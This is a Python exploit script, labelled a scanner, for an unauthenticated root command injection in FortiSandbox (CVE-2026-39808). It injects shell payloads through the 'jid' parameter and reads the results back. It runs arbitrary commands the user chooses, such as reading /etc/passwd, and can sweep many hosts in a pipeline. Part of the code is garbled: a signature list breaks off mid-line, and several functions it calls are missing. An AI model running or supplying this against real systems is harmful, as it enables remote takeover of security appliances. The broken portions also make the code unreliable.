#!/usr/bin/env python3
"""
╔══════════════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated OS Command Injection as root ║
║ Author: mitsec | @ynsmroztas ║
╚══════════════════════════════════════════════════════════════════╝
FortiSandbox < 4.4.9 — /fortisandbox/job-detail/tracer-behavior
The 'jid' parameter is vulnerable to OS command injection.
No authentication required. Commands execute as root.
Usage:
python3 fortisandbox_rce.py -u https://target.com
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py --stdin
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
python3 fortisandbox_rce.py -u https://target.com --proxy http://127.0.0.1:8080 -o report.json
Reference:
https://fortiguard.fortinet.com/psirt/FG-IR-25-325
"""
import urllib.request
import urllib.error
import urllib.parse
import ssl
import json
import sys
import os
import signal
import argparse
import time
import re
import random
import string
from datetime import datetime, timezone
# ═══════════════════════════════════════════════════════════════════
# COLORS
# ═══════════════════════════════════════════════════════════════════
class C:
RST = "\033[0m"; BOLD = "\033[1m"; DIM = "\033[2m"
R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"
B = "\033[94m"; M = "\033[95m"; CY = "\033[96m"
W = "\033[97m"; BG_R = "\033[41m"; BG_G = "\033[42m"
if os.environ.get("NO_COLOR") or not sys.stderr.isatty():
for a in [a for a in dir(C) if not a.startswith("_")]:
setattr(C, a, "")
# ═══════════════════════════════════════════════════════════════════
# LOGGING
# ═══════════════════════════════════════════════════════════════════
def banner():
print(f"""
{C.R}{C.BOLD}╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated Command Injection (root) ║
╚══════════════════════════════════════════════════════════╝{C.RST}
{C.DIM}mitsec | @ynsmroztas{C.RST}
""", file=sys.stderr)
def log(m): print(f" {C.B}▸{C.RST} {m}", file=sys.stderr)
def ok(m): print(f" {C.G}✓{C.RST} {m}", file=sys.stderr)
def warn(m): print(f" {C.Y}⚠{C.RST} {m}", file=sys.stderr)
def fail(m): print(f" {C.R}✗{C.RST} {m}", file=sys.stderr)
def critical(m): print(f" {C.BG_R}{C.W}{C.BOLD} CRITICAL {C.RST} {C.R}{C.BOLD}{m}{C.RST}", file=sys.stderr)
def section(title):
w = 58
print(f"\n {C.R}┌{'─'*w}┐{C.RST}", file=sys.stderr)
print(f" {C.R}│{C.BOLD} {title:<{w-1}}{C.RST}{C.R}│{C.RST}", file=sys.stderr)
print(f" {C.R}└{'─'*w}┘{C.RST}", file=sys.stderr)
# ═══════════════════════════════════════════════════════════════════
# GRACEFUL SHUTDOWN
# ═══════════════════════════════════════════════════════════════════
shutdown = False
def sig_handler(s, f):
global shutdown; shutdown = True
warn("Shutting down...")
signal.signal(signal.SIGINT, sig_handler)
# ═══════════════════════════════════════════════════════════════════
# HTTP ENGINE
# ═══════════════════════════════════════════════════════════════════
CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE
def http_get(url, proxy=None, timeout=15):
"""GET request. Returns (status, headers, body)."""
req = urllib.request.Request(url, headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "*/*",
"Connection": "close",
})
if proxy:
handler = urllib.request.ProxyHandler({"http": proxy, "https": proxy})
opener = urllib.request.build_opener(handler, urllib.request.HTTPSHandler(context=CTX))
else:
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=CTX))
try:
resp = opener.open(req, timeout=timeout)
hdrs = {k.lower(): v for k, v in resp.getheaders()}
body = resp.read().decode("utf-8", errors="replace")
return resp.status, hdrs, body
except urllib.error.HTTPError as e:
hdrs = {k.lower(): v for k, v in e.headers.items()}
body = e.read().decode("utf-8", errors="replace")
return e.code, hdrs, body
except Exception as e:
return 0, {}, str(e)
# ═══════════════════════════════════════════════════════════════════
# SCANNER
# ═══════════════════════════════════════════════════════════════════
VULN_PATH = "/fortisandbox/job-detail/tracer-behavior"
OUTPUT_PATH = "/ng/out.txt"
# False positive signatures — if ANY of these are in the response, it's NOT command output
FP_SIGNATURES = [
"
FortiSandbox",
"FortiSandbox -",
"",
"" in body:
return False
return True
def scan_target(base_url, cmd=None, proxy=None, timeout=15, verify_only=False):
"""Scan a single target for CVE-2026-39808."""
base = normalize_base(base_url)
result = {
"target": base,
"vulnerable": False,
"details": {},
"timestamp": datetime.now(timezone.utc).isoformat(),
}
# ─── Step 1: Check if target is FortiSandbox ──────────────
log(f"Checking if target is FortiSandbox...")
root_status, root_hdrs, root_body = http_get(base + "/", proxy=proxy, timeout=timeout)
if root_status == 0:
fail(f"Connection failed: {root_body}")
result["details"]["error"] = root_body
return result
is_fortisandbox = (
"FortiSandbox" in root_body or
"fortisandbox" in root_body.lower() or
"fortisandbox" in root_hdrs.get("server", "").lower()
)
if is_fortisandbox:
ok(f"FortiSandbox detected!")
else:
warn(f"Target may not be FortiSandbox (checking anyway...)")
result["details"]["is_fortisandbox"] = is_fortisandbox
result["details"]["server"] = root_hdrs.get("server", "unknown")
# ─── Step 2: Check if vulnerable endpoint exists ──────────
log(f"Checking endpoint: {VULN_PATH}")
check_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": "1"})
status, hdrs, body = http_get(check_url, proxy=proxy, timeout=timeout)
if status == 404:
fail(f"Endpoint returned 404 — not vulnerable or patched")
result["details"]["endpoint_status"] = 404
return result
if status == 0:
fail(f"Endpoint unreachable")
return result
# Check if it returns the login page (Angular SPA catch-all = NOT the real endpoint)
if is_html_page(body) and "FortiSandbox" in body:
# Could be SPA catch-all — endpoint might not exist
# Check content-type
ct = hdrs.get("content-type", "")
if "text/html" in ct:
warn(f"Endpoint returned HTML page (likely SPA catch-all, not real API)")
result["details"]["endpoint_note"] = "SPA catch-all, endpoint may not exist"
# Don't return yet — still try injection, but be extra strict on verification
log(f"Endpoint status: {status} | Content-Type: {hdrs.get('content-type', 'N/A')}")
result["details"]["endpoint_status"] = status
# ─── Step 3: Inject canary via command injection ──────────
canary = gen_canary()
log(f"Injecting canary: {canary}")
payload = f"|({canary} > /web/ng/out.txt)|"
# Use echo to write the canary
payload = f"|(echo {canary} > /web/ng/out.txt)|"
inject_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": payload})
status_inj, _, _ = http_get(inject_url, proxy=proxy, timeout=timeout)
result["details"]["inject_status"] = status_inj
if status_inj == 0:
fail(f"Injection request failed")
return result
time.sleep(1.5)
# ─── Step 4: Read output and verify canary ────────────────
output_url = base + OUTPUT_PATH
log(f"Reading output: {output_url}")
status_out, out_hdrs, body_out = http_get(output_url, proxy=proxy, timeout=timeout)
result["details"]["output_status"] = status_out
out_ct = out_hdrs.get("content-type", "")
if status_out != 200:
warn(f"Output file returned {status_out} — command may not have executed")
result["details"]["output_note"] = f"HTTP {status_out}"
return result
# ─── FALSE POSITIVE CHECKS ───────────────────────────────
# Check 1: Is the response an HTML page?
if is_html_page(body_out):
warn(f"Output URL returns HTML page — this is the Angular SPA, NOT command output")
log(f"Content-Type: {out_ct}")
log(f"This is a false positive — /ng/out.txt serves the SPA index.html")
result["details"]["false_positive"] = True
result["details"]["reason"] = "Output URL serves Angular SPA HTML, not command output"
result["vulnerable"] = False
return result
# Check 2: Content-Type should be text/plain for real command output
if "text/html" in out_ct:
warn(f"Output Content-Type is text/html — likely not command output")
result["details"]["false_positive"] = True
result["details"]["reason"] = f"Content-Type: {out_ct}"
result["vulnerable"] = False
return result
# Check 3: Verify canary strictly
if is_valid_canary(body_out, canary):
result["vulnerable"] = True
critical(f"🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!")
critical(f"Target: {base}")
ok(f"Canary '{canary}' verified in output (clean plain text)")
result["details"]["canary"] = canary
result["details"]["verification"] = "canary_match"
# ─── Step 5: Execute user command ─────────────────────
if cmd and not verify_only:
section(f"Executing: {cmd}")
cmd_payload = f"|({cmd} > /web/ng/out.txt)|"
cmd_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": cmd_payload})
http_get(cmd_url, proxy=proxy, timeout=timeout)
time.sleep(1.5)
_, _, cmd_output = http_get(output_url, proxy=proxy, timeout=timeout)
if cmd_output and not is_html_page(cmd_output):
result["details"]["command"] = cmd
result["details"]["output"] = cmd_output.strip()
# Pretty print
print(f"\n {C.CY}{'─'*58}{C.RST}", file=sys.stderr)
print(f" {C.CY}{C.BOLD} Command Output: {cmd}{C.RST}", file=sys.stderr)
print(f" {C.CY}{'─'*58}{C.RST}", file=sys.stderr)
for line in cmd_output.strip().split("\n"):
print(f" {C.G}│{C.RST} {line}", file=sys.stderr)
print(f" {C.CY}{'─'*58}{C.RST}\n", file=sys.stderr)
else:
warn("Command executed but output may not be readable")
# Cleanup
cleanup_payload = "|(echo cleaned > /web/ng/out.txt)|"
cleanup_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": cleanup_payload})
http_get(cleanup_url, proxy=proxy, timeout=timeout)
ok("Output file cleaned up")
else:
# Canary not found — try id command as secondary check
log("Canary not found. Trying 'id' command as fallback...")
id_payload = "|(id > /web/ng/out.txt)|"
id_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": id_payload})
http_get(id_url, proxy=proxy, timeout=timeout)
time.sleep(1.5)
_, id_hdrs, id_output = http_get(output_url, proxy=proxy, timeout=timeout)
# STRICT validation for id output
if is_valid_id_output(id_output):
result["vulnerable"] = True
critical(f"🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!")
critical(f"Target: {base}")
ok(f"id output: {id_output.strip()}")
result["details"]["id_output"] = id_output.strip()
result["details"]["verification"] = "id_command"
elif is_html_page(id_output):
warn(f"Output is HTML page — NOT vulnerable (SPA catch-all)")
result["details"]["false_positive"] = True
else:
warn(f"Could not confirm vulnerability")
log(f"Output ({len(id_output)} bytes): {id_output[:100]}")
if not result["vulnerable"]:
log(f"Target does not appear vulnerable")
return result
# ═══════════════════════════════════════════════════════════════════
# MAIN
# ═══════════════════════════════════════════════════════════════════
def main():
parser = argparse.ArgumentParser(
description="FortiSandbox RCE Scanner — CVE-2026-39808",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""Examples:
%(prog)s -u https://fortisandbox.target.com
%(prog)s -u https://target.com --cmd "id"
%(prog)s -u https://target.com --cmd "cat /etc/passwd" --proxy http://127.0.0.1:8080
subfinder -d target.com -silent | httpx -silent | %(prog)s --stdin
%(prog)s -u https://target.com --verify-only -o report.json
"""
)
parser.add_argument("-u", "--url", help="Target URL")
parser.add_argument("--stdin", action="store_true", help="Read URLs from stdin (pipeline mode)")
parser.add_argument("--cmd", default="id", help="OS command to execute (default: id)")
parser.add_argument("--verify-only", action="store_true", help="Only verify vulnerability, don't execute --cmd")
parser.add_argument("--proxy", help="HTTP proxy (e.g., http://127.0.0.1:8080)")
parser.add_argument("--timeout", type=int, default=15, help="HTTP timeout in seconds (default: 15)")
parser.add_argument("--rate-limit", type=int, default=0, help="Delay between targets in ms (default: 0)")
parser.add_argument("-o", "--output", help="Output JSON report file")
parser.add_argument("--no-banner", action="store_true", help="Suppress banner")
args = parser.parse_args()
if not args.no_banner:
banner()
# Collect URLs
urls = []
if args.stdin or (not args.url and not sys.stdin.isatty()):
for line in sys.stdin:
line = line.strip()
if line and (line.startswith("http://") or line.startswith("https://")):
urls.append(line)
if urls:
log(f"Loaded {len(urls)} targets from stdin")
elif args.url:
urls.append(args.url)
else:
parser.print_help()
sys.exit(1)
all_results = []
vuln_count = 0
for i, url in enumerate(urls):
if shutdown:
break
if len(urls) > 1:
section(f"[{i+1}/{len(urls)}] {url}")
else:
section(f"Target: {url}")
result = scan_target(
base_url=url,
cmd=args.cmd,
proxy=args.proxy,
timeout=args.timeout,
verify_only=args.verify_only,
)
all_results.append(result)
if result["vulnerable"]:
vuln_count += 1
# Pipeline output — vulnerable URL to stdout
print(url)
sys.stdout.flush()
if args.rate_limit > 0 and i < len(urls) - 1:
time.sleep(args.rate_limit / 1000.0)
# ─── Final Summary ────────────────────────────────────────
section("Scan Complete")
log(f"Targets scanned: {len(all_results)}")
if vuln_count > 0:
critical(f"Vulnerable: {vuln_count}/{len(all_results)}")
else:
ok(f"No vulnerable targets found ({len(all_results)} tested)")
# JSON report
if args.output:
report = {
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": datetime.now(timezone.utc).isoformat(),
"total_targets": len(all_results),
"vulnerable": vuln_count,
"results": all_results,
}
with open(args.output, "w") as f:
json.dump(report, f, indent=2, ensure_ascii=False)
ok(f"Report saved → {args.output}")
if __name__ == "__main__":
main()